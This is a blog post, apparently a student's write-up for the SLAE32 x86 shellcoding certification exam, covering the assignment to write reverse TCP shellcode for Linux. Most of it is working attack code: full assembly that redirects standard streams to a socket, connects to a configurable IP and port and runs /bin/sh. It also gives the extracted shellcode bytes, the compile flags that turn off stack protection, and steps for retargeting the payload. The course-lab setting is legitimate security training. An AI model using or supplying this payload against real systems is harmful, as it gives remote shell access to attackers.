Tuesday, March 21, 2017

SLAE32 Exam - Assignment 2 of 7 (Reverse Shell)

This post is the second of 7 exam assignments of the Pentester Academy's x86 Assembly Language and Shellcoding on Linux course.  Success in these 7 assignments results in the Pentester Academy's SLAE32 certification.

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

SLAE - 901

The files used in this assignment are here:
https://github.com/clubjk/SLAE32/tree/master/exam/task2


Assignment 2 Requirements
  • Create a reverse TCP shellcode
  • The shellcode connects back to a configured IP address and port. A shell gets executed on a successful connection
  • The IP address and port should be easily configurable


Here are the steps:
  1. Create a socket (via sys_socket system call)
  2. Redirect stdin, stdout and stderr via dup2 (via dup2 system call)
  3. Connect to a specified IP and port (via sys_socket system call)
  4. Execute  (via execve system call)

Creating the Assembly Script

1.  Create a socket (via sys_socket system call)

global _start

section .text

_start:

; create socket  with socketcall()
; socketcall(int call, unsigned long *args)
; socketcall is 102 (0x66)
; int socket(int domain, int type, int protocol)
;      1         2          1           6
; returns 7 in the socketfd
; eax = 0x66
; ebx = 0x1
; ecx = ptr to socket's args, from stack in reverse order


xor eax, eax                    ; zero out eax
xor ebx, ebx                    ; zero out ebx
mov al, 0x66                    ; 0x66 in eax (102)
push ebx                        ; push 0 on the stack
mov bl, 0x1                     ; move 1 into the ebx
push byte 0x1           ; push 1 on stack (type is(SOCK_STREAM))
push byte 0x2           ; push 2 on stack (domain is 2(AF_INET))
mov ecx, esp            ; move memloc of esp to eax (eax =
                          socket(AF_INET, SOCK_STREAM, 0))

int 0x80                ; calls the socket system call, will
                          return the fc (0x07) to the eax


2. Redirect stdin, stdout and stderr via dup2 (via dup2 system call)


; Redirect input, output, and error output to the socket with
  dup2
; int dup2(int oldfd, int newfd)
; (stdin = 0, stdout = 1, stderror = 2)
; dup2 is 63 or 0x3f 
; ebx = socketfd
; ecx = fd (from 2 to 0)

xchg eax, ebx                   ; ebx = 7, eax = 1
pop ecx                         ; ecx = 2 (loop count)
loop:
mov al, 0x3f               ; eax = 63 = dup2()
int 0x80                   ; dup2(socketfd, ecx)
dec ecx             ; decrement ecx from stderror to stdin
jns loop                   ; loop until ZF is set


3. Connect to a specified IP and port (via sys_socket system call)

; connect
; int connect(int sockfd, const struct sockaddr
  *addr[sin_family, sin_port, sin_addr], socklen_t addrlen)
; connect(socketfd, [2, port, IP], 16)
eax = 0x66 = socketcall()
; ebx = 0x3 = connect()
; ecx = ptr to connect's args

mov al, 0x66                    ; 0x66 = 102 = socketcall()
push dword 0xe7bca8c0           ; ip 192.168.188.231
push word 0x3905                ; port 1337
push word 0x0002                ; sin_family = 2 (AF_INET)
mov ecx, esp         ; move memloc of args addr structure to ecx
push byte 0x10                  ; addr_len = 16 (structure size)
push ecx                        ; push ptr of args structure
push ebx                        ; ebx = socketfd
mov bl, 0x3                     ; ebx = 3 = connect()
mov ecx, esp                    ; move memloc of args socketfd
int 0x80                        ; connect system call


4. Execute  (via execve system call)

xor eax, eax                    ; zeroize the eax
push edx                        ; edx = 0x00000000
push dword 0x68732f2f           ; push //sh
push dword 0x6e69622f           ; push /bin 
mov ebx, esp          ; ebx = ptr to memloc of "/bin//sh" string
push edx                        ; edx = 0x00000000
mov edx, esp                    ; edx = ptr to NULL address
push ebx       ; pointer to memloc of args ( 0X00, /bin//sh,
                 0X00000000, &/bin//sh)
mov ecx, esp                    ; ecx points to argv
mov al, 0xb           ; move execve system call number 11 to eax
int 0x80                        ; execve /bin/sh


I compiled the .nasm file with the following commands:

$ nasm -f elf32 -o task2e.o task2e.nasm
$ ld -o task2e task2e.o

I tested it by executing it and catching a reverse shell on my Kali Linux machine:



It worked.  Yay.

Creating Shellcode

I used the objdump command to check my binary for null bytes:


Once I determined that here were no null bytes I used a specially crafted objdump command to extract the binary's shellcode to enable easy copy and pasting:

$ objdump -d ./task2e|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'


I copied the shellcode and pasted in into my skeleton shellcode.c script:



Then, I compiled it with the following command:


$ gcc  -g -fno-stack-protector -z execstack shellcode.c -o shellcode

I executed the shellcode binary and set up a netcat listener on my Kali Linux machine:


It worked.  Yay.


Configuring the shellcode's IP and port

From the shellcode.c:

unsigned char code[] = \
"\x31\xc0\x31\xdb\xb0\x66\x53\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\xc0\xa8\xbc\xe7\x66\x68\x05\x39\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\xb3\x03\x89\xe1\xcd\x80\x31\xc0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

The portion of the shellcode that calls the IP and the port is highlighted.

\xc0\xa8\xbc\xe7 is 192.168.188.231 (in hex little endian format)

127.1.1.1 is \7f\01\01\01

\x05\x39   is port number 1337 (in hex little endian format)

Port number 4444 is \x11\x5c

I modified the IP and port hex bytes in the shellcode for IP 127.1.1.1 and port 4444.



 

After recompiling the revised shellcode.c script, I set up a netcat listener on my SLAE lab Ubuntu VM, and executed the new shellcode binary:




It worked.  Yay.

Here is the entire Assignment 2 assembly script:

;Author: clubjk
global _start
section .text
_start:
; create socket with socketcall()
; socketcall(int call, unsigned long *args)
; socketcall is 102 (0x66)
; int socket(int domain, int type, int protocol)
; 1 2 1 6
; returns 7 in the socketfd
; eax = 0x66
; ebx = 0x1
; ecx = ptr to socket's args, from stack in reverse order
xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
mov al, 0x66 ; 0x66 in eax (102)
push ebx ; push 0 on the stack
mov bl, 0x1 ; move 1 into the ebx
push byte 0x1 ; push 1 on stack (type is 1 (SOCK_STREAM))
push byte 0x2 ; push 2 on stack (domain is 2 (AF_INET))
mov ecx, esp ; move memloc of esp to eax (eax = socket(AF_INET, SOCK_STREAM, 0))
int 0x80 ; calls the socket system call, will return the fc (0x07) to the eax
; Redirect input, output, and error output to the socket with dup2
; int dup2(int oldfd, int newfd)
; (stdin = 0, stdout = 1, stderror = 2)
; dup2 is 63 or 0x3f
; ebx = socketfd
; ecx = fd (from 2 to 0)
xchg eax, ebx ; ebx = 7, eax = 1
pop ecx ; ecx = 2 (loop count)
loop:
mov al, 0x3f ; eax = 63 = dup2()
int 0x80 ; dup2(socketfd, ecx)
dec ecx ; decrement ecx from stderror to stdin
jns loop ; loop until ZF is set
; connect
; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen)
; connect(socketfd, [2, port, IP], 16)
; eax = 0x66 = socketcall()
; ebx = 0x3 = connect()
; ecx = ptr to connect's args
mov al, 0x66 ; 0x66 = 102 = socketcall()
push dword 0xe7bca8c0 ; ip 192.168.188.231
push word 0x3905 ; port 1337
push word 0x0002 ; sin_family = 2 (AF_INET)
mov ecx, esp ; move memloc of args addr structure to ecx
push byte 0x10 ; addr_len = 16 (structure size)
push ecx ; push ptr of args structure
push ebx ; ebx = socketfd
mov bl, 0x3 ; ebx = 3 = connect()
mov ecx, esp ; move memloc of args socketfd
int 0x80 ; connect system call
; execute a /bin/sh shell
; execve(const char *filename, char *const argv[filename], char *const envp[])
; execve(/bin//sh, memloc of /bin/sh string, 0)
; eax = 0xb = execve [11]
; ebx = memloc of "/bin//sh" string
; ecx = memloc args string
; edx = *envp
xor eax, eax
push edx ; edx = 0x00000000
push dword 0x68732f2f ; push //sh
push dword 0x6e69622f ; push /bin
mov ebx, esp ; ebx = ptr to memloc of "/bin//sh" string
push edx ; edx = 0x00000000
mov edx, esp ; edx = ptr to NULL address
push ebx ; pointer to memloc of args ( 0X00, /bin//sh, 0X00000000, &/bin//sh)
mov ecx, esp ; ecx points to argv
mov al, 0xb ; move execve system call number 11 to eax
int 0x80 ; execve /bin/sh

No comments:

Post a Comment